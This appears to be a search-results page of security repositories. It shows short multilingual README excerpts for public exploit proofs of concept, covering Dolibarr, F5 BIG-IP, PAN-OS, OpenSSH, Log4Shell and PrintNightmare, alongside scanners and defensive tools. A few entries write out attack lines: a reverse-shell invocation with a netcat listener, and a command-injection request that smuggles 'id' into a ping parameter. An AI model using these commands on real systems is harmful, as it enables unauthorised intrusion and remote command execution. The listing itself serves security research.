45820 matches found
DolibabyPhp
DolibabyPhp Dolibarr ERP/CRM CVE-2023-30253 に対する認証済みRCEエクスプロイト。 インストール パッケージは PyPi リポジトリから pip でインストールするか、GitHub から直接 git clone してソースを取得できます。 pip install dolibabyphp 使い方 Usage: dolibabyphp OPTIONS TARGETURL USERNAME PASSWORD COMMAND ARGS... This exploit will log into the Dolibarr web server at th...
exploit-CVE-2020-5844
CVE-2020-5844 利用程序 Pandora FMS v7.0NG.742 - 远程代码执行 喜欢这个仓库？给我们一个 ⭐！ 仅供教育和授权的安全研究使用。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 编写 漏洞描述 Pandora FMS v7.0 NG 中的 index.php?sec=godmode/extensions&sec2=extensions/filesrepo 允许经过身份验证的管理员上传恶意 PHP 脚本，并通过 base64 解码文件位置来执行这些脚本。这影响 v7.0NG.742FIXPERL2020。 利用程序描述...
Emojify
Emojify 🔋⌚🐆💀 ⌛ 🌵 🌵 🌈 🍡 🥚 👖 👢🎹🎹 🍬 🌽 🔋 🍟🔨 🔑🍟 🚀 🍭 🗼 🎍 💄 🍬🌽 ⌛🌷💀 🌵 🚬 🌵 ⚽ 🎱 🥚 👖 👢🎹🎹 🚩 🔋 🍟 🍟 🎱 ⚽ 🗼 🎍 💄 🎌 ⌛ 🌵 🌵 🍭 🔪 👝 🥚 👖 👢 🏁 🔋⌚🐆💀 🍟 🍟 🔪🏈 🎽💼🗼 🎍 💄 🚩 文字リテラルと文字列リテラルを絵文字に難読化し、クラス、インターフェース、メソッド、変数名をランダム化します。 注意 継承、オーバーライド、および実装された（インターフェースメソッド）メソッドは、難読化中にスキップされます。 使用方法 git clone...
bcm4360-wpa3
WPA3-SAE + 802.11w on the Broadcom BCM4360（クローズド wl バイナリ） Apple/Broadcom は BCM4360 14e4:43a0 に WPA3 を提供したことはありません。唯一の Linux ドライバはクローズドな broadcom-sta wl バイナリであり、brcmfmac では駆動できません。本プロジェクトは、そのクローズドバイナリに WPA3-SAE + 完全な 802.11w PMF を追加します。すべてホストソフトウェア側で実現し、ファームウェアのソースコードは不要 です。 実際に WPA3 のみ・MFP 必須の AP...
rekor
Rekor Rekór —— 希腊语，意为“记录” Rekor 的目标是提供一个不可变且防篡改的分类账，用于记录软件项目供应链中生成的元数据。 Rekor 将使软件维护者和构建系统能够将签名的元数据记录到不可变的记录中。 其他方随后可以查询所述元数据，以便就对象生命周期的信任和不可否认性做出明智的决策。更多详情请访问 sigstore 网站。 Rekor 项目提供了一个基于 RESTful API 的验证服务器，以及一个用于存储的透明日志。 还提供了一个 CLI 应用程序，用于创建和验证条目、查询透明日志以获取包含证明、 对透明日志进行完整性验证，或通过公钥或工件检索条目。 Rekor...
tippa-my-tongue
Tippa My Tongue Tippa My Tongueは、CVE-2022-1388およびCVE-2022-41800を利用してF5 BIG-IP製品上でrootリバースシェルを確立するエクスプロイトです。ほとんどのCVE-2022-1388エクスプロイトは/mgmt/tm/util/bashを使用してコード実行を達成します。しかし、このエクスプロイトは/mgmt/shared/iapp/rpm-spec-creatorに続いて/mgmt/shared/iapp/build-packageを使用します。このアプローチは、Ron...
CVE-2018-14847
CVE-2018-14847 这是严重的 WinBox 漏洞（CVE-2018-14847）的概念验证，该漏洞允许任意读取明文密码。 该漏洞早已被修复，因此本项目已终止，不再提供支持或更新。你可以自行 fork 并更新它。对黑客和漏洞猎人来说是一款有用的工具。 功能特性 扫描单个 IP（手动输入） 或扫描 targets.txt 中列出的所有 IP 漏洞利用前检查端口 WAF 检测器 100% 准确的结果 高级错误处理 自定义端口（可选） 更强大 更好的检测与兼容性 语言 菜单 一行命令 git clone...
CVE-2014-2383-LFI-to-RCE-Escalation
CVE-2014-2383 LFI/RFI 漏洞升级为 RCE 测试环境：dompdf 0.6.0 - php 7.3.33 - apache 2.4.25 在一次安全评估期间，发现了 CVE-2014-2383。本文档是一个概念验证，出于保护客户隐私的目的，不包含最初发现时的细节。不过，本文档中的内容确实模拟了该漏洞被利用时的环境。 发现 https://github.com/projectdiscovery/nuclei CVE-2014-2383 详情 A vulnerability in dompdf.php in dompdf before 0.6.1, when...
CVE-2024-29868
CVE-2024-29868: 恢复令牌生成中使用密码学弱伪随机数生成器 此仓库包含与 CVE-2024-29868 相关的概念验证，该漏洞影响从 v0.69.0 到 0.93.0 版本的 Apache StreamPipes。 描述 ：Apache StreamPipes 用户自助注册和密码恢复机制中使用了密码学弱的伪随机数生成器（PRNG）。攻击者可以在合理时间内猜出恢复令牌，进而接管被攻击用户的账户。 此 POC 展示了如何接管受影响应用程序的管理员账户。 仓库结构： /lab-setup 目录包含启动本地测试环境所需的文件，可在该环境中复现此漏洞： 包含所有必要服务的...
CVE-2024-9474
Palo Alto PAN-OS Exploit PoC - CVE-2024-0012 & CVE-2024-9474 このスクリプトは、Palo Alto PAN-OS の脆弱性 CVE-2024-0012 および CVE-2024-9474 に対する Proof of Concept PoC エクスプロイトです。このスクリプトは、脆弱性を検出するためにURLリストをスキャンするか、単一の脆弱なURLに対して対話的にエクスプロイトを実行するために使用できます。 特徴 スキャンモード: 複数のURLを自動的にスキャンして脆弱性を検出します。 エクスプロイトモード:...
CVE-2026-44706
Chatwoot FilterService中的SQL注入 针对CVE-2026-44706的概念验证利用代码，这是Chatwoot的FilterServiceltgtfiltervalues中的一个SQL注入漏洞，允许任何经过身份验证的代理读取整个PostgreSQL数据库，包括用户凭据和API令牌。阅读完整文章在此。 用法： 验证注入（基于布尔） $ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode check 基于时间的确认 $ python3 poc.py --url...
fleet-cve-scanner
fleet-cve-scanner RMM管理下のフリート向けのオープンソース、単一スクリプトのCVEスキャナー。純粋なPowerShell 7で、エージェント不要、アプライアンス不要、ライセンス料無料。 管理下のすべてのエンドポイント上のすべてのソフトウェアに対して、1つの質問に答えます：インストールされているバージョンが脆弱であることが知られているか、そしてその緊急度はどの程度か？ — RMMのソフトウェアインベントリを、無料で信頼できるセキュリティフィードと結合することで実現します： NIST NVD — 既知のCVE + 影響を受けるバージョン範囲 CISA KEV —...
secretive
Secretive Secretive 是一款使用安全隔区（Secure Enclave）来保护和管理 SSH 密钥的应用。 为什么？ 更安全的存储 SSH 密钥最常见的存放方式就是直接放在磁盘上，靠正确的权限来保护。在大多数情况下这没有问题，但恶意用户或恶意软件要复制你的私钥并不困难。如果你的密钥由安全隔区保护，那么按设计它们就无法被导出。 访问控制 如果你的 Mac 拥有安全隔区，它也就支持 Touch ID 或 Apple Watch 认证等强访问控制。你可以在访问密钥之前要求必须完成 Touch ID（或 Apple Watch）认证。 通知 只要你的密钥被访问，Secretiv...
CVE-2025-22131-PoC
CVE-2025-22131-PoC CVE-2025-22131 的 PoC（概念验证） PhpSpreadsheet 是一个用纯 PHP 编写的库，提供了一组类，允许您读取和写入各种电子表格文件格式，如 Excel 和 LibreOffice Calc。 phpspreadsheet 版本 =2.2.0, =2.0.0, =3.0.0, sheetIndex === null $sheets = $this-spreadsheet-getAllSheets; else $sheets = $this-spreadsheet-getSheet$this-sheetIndex; //...
cve-2025-38001
cve-2025-38001...
mpacktrafficripper
此存储库没有 README。...
CVE-2026-23416-POC
CVE-2026-23416 — PoC mm/mseal: 合并时正确更新 VMA 结束地址 漏洞发现者：Antonius / Blue Dragon Security 概述 字段| 详情 ---|--- CVE ID| CVE-2026-23416 子系统| mm/mseal — mm/vma.c 影响范围| Linux 内核 6.17 至 7.0-rc5 修复版本| Linux 7.0-rc6，稳定版回溯 6.18.21、6.19.11 所需权限| 非特权用户（UID 1000，无 capabilities） 使用的系统调用| memfdcreate、mmap、mseal 可复现性...
hinge-command-control-c2
Hingeをコマンド＆コントロールサーバーとして使用する 詳細は https://mattwie.se/hinge-command-control-c2 をご覧ください。...
CVE-2026-54806
WP Activity Log PHP 对象注入 CVE-2026-54806 PoC 📜 描述 CVE-2026-54806 是 Melapress 开发的 WP Activity Log WordPress 插件（wp-security-audit-log）中一个严重的（CVSS 9.8）未认证 PHP 对象注入漏洞。未认证的攻击者可以在任何触发日志事件（例如登录失败）的请求中，通过 User-Agent 头注入序列化的 PHP 对象。注入的载荷会存储在数据库中，当管理员访问 WordPress 仪表盘时会被无限制地反序列化，从而实现盲远程代码执行（不会向攻击者返回任何输出）。...
SharpStat
SharpStat Cユーティリティ。WMIを使用して"cmd.exe /c netstat -n"を実行し、出力をファイルに保存した後、SMBを使用してリモートからファイルを読み取り、削除します。 説明 このスクリプトは、指定されたすべてのコンピュータに接続し、WMIを使用してcmd.exe /c netstat -n を実行しようとします。出力が保存されるファイルは'-file'で指定します。netstatコマンドが実行されると、出力はリモートSMB呼び出しを介して読み取られ、その後削除されます。...
CVE-2025-10951
CVE-2025-10951 - checkmlloggertraversal.py 本工具用于验证 CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 是否存在——这是 geyang/ml-logger（≤ 0.10.36）中的一个未认证路径遍历漏洞，影响 mllogger/server.py 中的 loghandler / streamhandler 函数。 仅可用于你获得授权测试的系统。 检测内容 端点| 方法| 用途 ---|---|--- /glob| POST| 确认服务器会枚举应用预期范围之外的文件系统路径 /stream| GET|...
RustChain
説明 このツールは、ROPチェーンとハードウェアブレークポイントを組み合わせてメモリアーティファクトを隠す方法のシンプルなPoCです。ROPチェーンは、スリープ中（つまりSleep関数が呼び出されたとき）にメインモジュールのメモリページの保護をN/Aに変更します。このメモリスキャン回避技術の詳細については、元のプロジェクトGargoyleを参照してください。x64のみ 。...
Triage-CVE-2021-44228-Log4Shell-Log4j-
分类排查：CVE-2021-44228（Log4Shell / Log4j） 在本次实验室中，目标是对另一个众所周知的现实世界漏洞 Log4Shell 进行分类排查。由于受影响库在企业软件中非常普遍，它是近年来被利用最广泛的漏洞之一。 步骤 1：在 NVD 中打开该 CVE 我前往国家漏洞数据库（NVD）并查找了该 CVE： https://nvd.nist.gov/vuln/search/nvd/home?resultType=records 我搜索了 CVE-2021-44228 并打开了结果页面。 步骤 2：识别资产与暴露面 阅读完描述后，我回答了几个基本问题，以了解实际面临的风险...
wazuh
Wazuh Wazuh is a free and open source platform used for threat prevention, detection, and response. It is capable of protecting workloads across on-premises, virtualized, containerized, and cloud-based environments. Wazuh solution consists of an endpoint security agent, deployed to the monitored...
wazuh
Wazuh Wazuhは、脅威の防止、検出、対応に使用される無料のオープンソースプラットフォームです。オンプレミス、仮想化、コンテナ化、およびクラウドベースの環境にわたるワークロードを保護することができます。 Wazuhソリューションは、監視対象システムにデプロイされるエンドポイントセキュリティエージェントと、エージェントが収集したデータを収集・分析する管理サーバーで構成されています。さらに、WazuhはWazuh Indexerと完全に統合されており、ユーザーがセキュリティアラートを閲覧できる検索エンジンとデータ可視化ツールを提供します。 Wazuhの機能...
sap_bo_launchpad-ssrf-timing_attack
SAP BusinessObjects Launchpad SSRF & タイミング攻撃 PoC このPythonスクリプトは、SAP BusinessObjects Launchpadに対するSSRF（サーバーサイドリクエストフォージェリ）およびタイミング攻撃を実行するための概念実証（PoC）です。セキュリティ研究者や専門家がSAP BusinessObjectsの認証メカニズムを利用して、ターゲットIP上のオープンポートを特定するのに役立つように設計されています。 特徴 SSRF Exploit:...
pdfjs_disable_eval
pdfjsdisableeval PDF.js での JavaScript 評価を無効にするモジュール。 これは Odoo 14.0 における CVE-2024-4367 の未修正の回避策です。...
ngxray
ngxray 用于 nginx 配置的静态漏洞扫描器。使用 nginx 自身的分词器解析配置，并根据声明式 JSON 规则进行匹配，以检测 rewrite/脚本引擎指令模式中的已知 CVE。 快速开始 cd ngxray git submodule update --init make python3 scan.py /etc/nginx/nginx.conf 可检测项 规则以 rules/ 目录中的 JSON 文件形式定义。扫描器内置以下规则： 规则| CVE| 模式 ---|---|--- rewrite-is-args| CVE-2026-42945| rewrite …...
Threat-Intelligence-Alerts
威胁情报警报 我们的威胁情报团队使用一系列来源和工具来监控外部报告，并对这些情报进行每日审查，以识别需要内部采取行动的威胁格局变化，无论是增加对事态发展的监控、分析新漏洞或恶意软件， 我们发布威胁情报警报的目的是： • 及时通报新兴威胁 • 详述可采取的缓解措施 • 触发内部工作以制定检测措施并开展威胁狩猎 • 详述NCC Group已采取的行动并确认检测覆盖范围 虽然这些警报通常与漏洞相关，但它们是由威胁行为者活动的识别（例如大规模扫描或利用报告）或重大网络或地缘政治事件所触发。...
CVE-2017-10366_peoplesoft
CVE-2017-10366: Exploit de deserialización Java de Oracle PeopleSoft 8.54, 8.55, 8.56 Este script automatiza la explotación de una vulnerabilidad de deserialización Java en Oracle PeopleSoft, descubierta originalmente por Vahagn Vardanyan. Este exploit requiere ysoserial.jar para generar payloads...
CVE-2020-15778-Exploit
CVE-2020-15778-Exploit CVE-2020-15778（OpenSSH漏洞）利用工具 示例：python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 在使用 Python 脚本之前，你需要先使用 netcat 监听端口 示例：nc -lvp 1234 1.使用脚本的截图 2.获取 shell 的截图 2021-7-21 更新日志： 使用 python-nmap 检查主机状态 用法：python3 CVE-2020-15778-Update.py -ip...
cve-2024-11477-writeup
CVE-2024-11477 分析报告 这是我对 CVE-2024-11477 的研究分析。请注意，由于分析较为匆忙，可能含有错误，并非完美无缺。 如有不同意见，请随时告知！ 关于不同文件的信息，请参见另一个 Markdown 文件。...
nexmon
What is nexmon? Nexmon is our C-based firmware patching framework for Broadcom/Cypress WiFi chips that enables you to write your own firmware patches, for example, to enable monitor mode with radiotap headers and frame injection. Below, you find an overview what is possible with nexmon. This...
nexmon
nexmon 是什么？ Nexmon 是我们基于 C 语言的固件补丁框架，适用于 Broadcom/Cypress WiFi 芯片， 它使你能够编写自己的固件补丁，例如启用带 radiotap 头的监控模式和帧注入。 下面，你可以看到 nexmon 能够实现的功能概览。本仓库主要专注于在多种芯片上启用监控模式和帧注入。如果你想要更多功能，以下项目可能会让你感兴趣： http://nexmon.org/jammer: 一个真正的 Wi-Fi 干扰器，可以用任意干扰信号覆盖正在进行的帧传输。 它使用 Wi-Fi 芯片作为软件定义无线电来生成干扰信号 它允许使用非标准信道，例如 2.4 GHz...
cloudsploit
AquaによるCloudSploit - クラウドセキュリティスキャン クイックスタート 一般的な方法 $ git clone https://github.com/aquasecurity/cloudsploit.git $ cd cloudsploit $ npm install $ ./index.js -h Docker $ git clone https://github.com/aquasecurity/cloudsploit.git $ cd cloudsploit $ docker build . -t cloudsploit:0.0.1 $ docker run...
cloudsploit
CloudSploit by Aqua - Cloud Security Scans Quick Start Generic $ git clone https://github.com/aquasecurity/cloudsploit.git $ cd cloudsploit $ npm install $ ./index.js -h Docker $ git clone https://github.com/aquasecurity/cloudsploit.git $ cd cloudsploit $ docker build . -t cloudsploit:0.0.1 $...
cameradar
Cameradar RTSP ストリームアクセスツール Cameradar は、許可されたターゲット上の RTSP エンドポイントをスキャンし、辞書攻撃を使用してその認証情報とルートをブルートフォースします。 Cameradar の機能 アクセス可能なターゲット上のオープンな RTSP ホストを検出します。 RTSP フィードをストリーミングするデバイスモデルを検出します。 辞書ベースのストリームルート（例：/live.sdp）の探索を試みます。 辞書ベースのカメラ認証情報の探索を試みます。 調査結果のレポートを生成します。 目次 Docker によるクイックスタート バイナリのインスト...
CVE-2023-23397
CVE-2023-23397 CVE-2023-23397 C PoC 1- 下载 msgkit 2- 编辑约会类并添加以下内容： 3- 在项目中创建一个新类，用于设置 msg 文件的属性： using MsgKit.Enums; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace MsgKit class Program static void Mainstring args using...
CVE-2022-26809
CVE-2021-1675 / CVE-2021-34527 Impacket実装のPrintNightmare PoC、元はZhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370によって作成されました 完全にパッチ適用された2019ドメインコントローラでテスト済み 悪意のあるDLLをリモートまたはローカルで実行 パッチアップデート Microsoftはこれらの攻撃を緩和するパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です REG QUERY...
CVE-2019-5782_CVE-2019-13768
https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html 利用 CVE-2019-7582 和 CVE-2019-13768/P0 issue 1755 目标 Chrome 71.0.3578.98 需要更新原始PoC以在Windows 10 1909+上工作。 还需要在特定目标机器上提高可靠性，原始PoC在那里可靠性约为0%（但在另一个目标上约为100%）。 安装依赖项 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py ...
llm-differential-privacy-gateway
Noisegate：面向不可信 AI 代理的差分隐私网关 一个能够研究敏感数据、却无法将任何人单独识别出来的 AI 代理。这一限制是数学上的，由代理无法触及的代码强制执行，并且仓库中附带了试图攻破它的攻击。 一段录制的 Claude Desktop 会话（回复经过删减；图表卡片是会话自带的）。一个 AI 代理按诊断将 20 名患者分组，而 ±12 的噪声淹没了每一个分箱。在被提醒它无法关闭噪声后，它耗尽了一个仅允许三次回答的预算，直到网关返回拒绝 ，而不是一个更安静的答案。在 32,561 行的普查数据上，一个过窄的切片在信任边界处被拒绝...
DFIR_Resources_REvil_Kaseya
REvilランサムウェアKaseyaサプライチェーン攻撃に対応するDFIR専門家向けリソース 昨日、SophosとHuntress Labsは、MSPに人気のリモート管理プロバイダーであるKaseyaが侵害され、サプライチェーンランサムウェア攻撃を展開したことを特定しました。多数の組織が影響を受け、スウェーデンのCoOpスーパーマーケットチェーンでは一時的に800店舗が閉鎖されました。 当社はGithub上に、週末にかけてこれらの攻撃に対応するデジタルフォレンジックおよびインシデント対応の専門家を支援する可能性のあるリソースを多数提供しています： フォレンジック分析とレポート作成...
antispy
AntiSpy English | 简体中文 A powerful anti rootkit toolkit AntiSpy is a free but powerful anti virus and rootkits toolkit. It offers you the ability with the highest privileges that can detect,analyze and restore various kernel modifications and hooks. With its assistance,you can easily spot and...
antispy
AntiSpy 英語 | 简体中文 強力なアンチルートキットツールキット AntiSpyは、無料でありながら強力なアンチウイルスおよびルートキットツールキットです。 これは、カーネルのさまざまな変更やフックを検出、分析、復元できる最高権限の機能を提供します。 その支援により、通常の検出器から隠されたマルウェアを簡単に見つけて無力化できます。 開発 IDE: Visual Studio 2008 ユーザー空間: MFC WDK: WDK7600 サードパーティライブラリ: Codejock toolkit pro コード構造 AntiSpyRootDir ├── LICENSE ├──...
thermoptic
thermoptic "我不相信，热光学迷彩！" 这是什么？ 这是一个 HTTP 代理，旨在绕过使用 JA4+ 等指纹识别技术来阻止某些 HTTP 客户端的服务。使用这个代理，你可以使用你偏好的 HTTP 客户端（如 curl），同时获得与真实（Chrome/Chromium）网页浏览器神奇地无法区分的指纹。thermoptic 还附带一些有趣的功能，用于缓解基于 JavaScript 的指纹识别。它还让你能够轻松地混合使用网页浏览器和底层 HTTP 客户端进行混合抓取。 即使你不熟悉 JA4+ 指纹识别，如果你做过任何网页抓取，你很可能以前就被它拦截过。诸如 Cloudflare...
CVE-2024-46658
CVE-2024-46658 Syrotech SY-GOPON-8OLT-L3 v1.6.0240629 命令注入漏洞 用法 1- 编辑脚本中的 URL。 2- 编辑脚本中的 CookieLogin 值。 3- 运行脚本，它将允许你执行命令。 漏洞详情 GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1 正常情况下，管理面板中只允许执行 ping 命令。...
CVE-2021-44228-log4Shell
CVE-2021-44228-log4Shell 漏洞利用 漏洞利用测试 运行 ping 到 google.com（执行任意命令） 打印操作系统名称、版本和架构（收集操作系统和用户信息） 在远程机器上打开计算器（可执行任意可执行文件） 从 github 下载本 README.md 运行漏洞利用测试 java ExploitTest 示例 log4shell 链接 https://log4shell.huntress.com/...
CVE-2024-9822
CVE-2024-9822 Pedalo Connector = 2.0.5 - 管理者への認証バイパス 説明 WordPress用Pedalo Connectorプラグインは、バージョン2.0.5までのバージョンにおいて認証バイパスの脆弱性があります。これは、'loginadminuser'関数に対する制限が不十分であるためです。これにより、認証されていない攻撃者が最初のユーザー（通常は管理者）、または最初のユーザーが存在しない場合は最初の管理者としてログインすることが可能になります。 Type: plugin CVSS Score: 9.8 CVE: CVE-2024-9822...